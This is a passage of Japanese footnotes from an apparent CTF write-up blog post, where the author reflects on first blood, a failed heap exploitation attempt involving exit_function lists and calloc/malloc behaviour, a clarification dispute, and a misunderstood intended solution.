*7:ちなみに国際チームであっても1st bloodだった。こういう速解きが割と上手かもしれない
*8:これはそもそもpwnが下手で、initialはexit_functionのlistの最終要素であるというinvariantを破壊してしまうので、nextの関数が呼ばれる前にfreeで落ちる
*9:ちなみに、callocがArray確保に使われていてtcacheが使われず、なぜかcopyではmallocが使われるのでそっちを使って書き換える、や端々になんか面倒な話がある、どぼじでぞういうごどずるの
*10:ここらへんで "筋力"の衰えを感じるにも覚えるが、実は元々の自力な気もする
*11:実際に同様のclarが国際決勝側でも飛んだらしく、こちらは先に解いていたチームが許さなかったらしい
*12:実は想定解はE2BIGを起こさせることだったらしい。僕の実験が下手です。そもそもこの文のcomposedの意味を取り違えていた
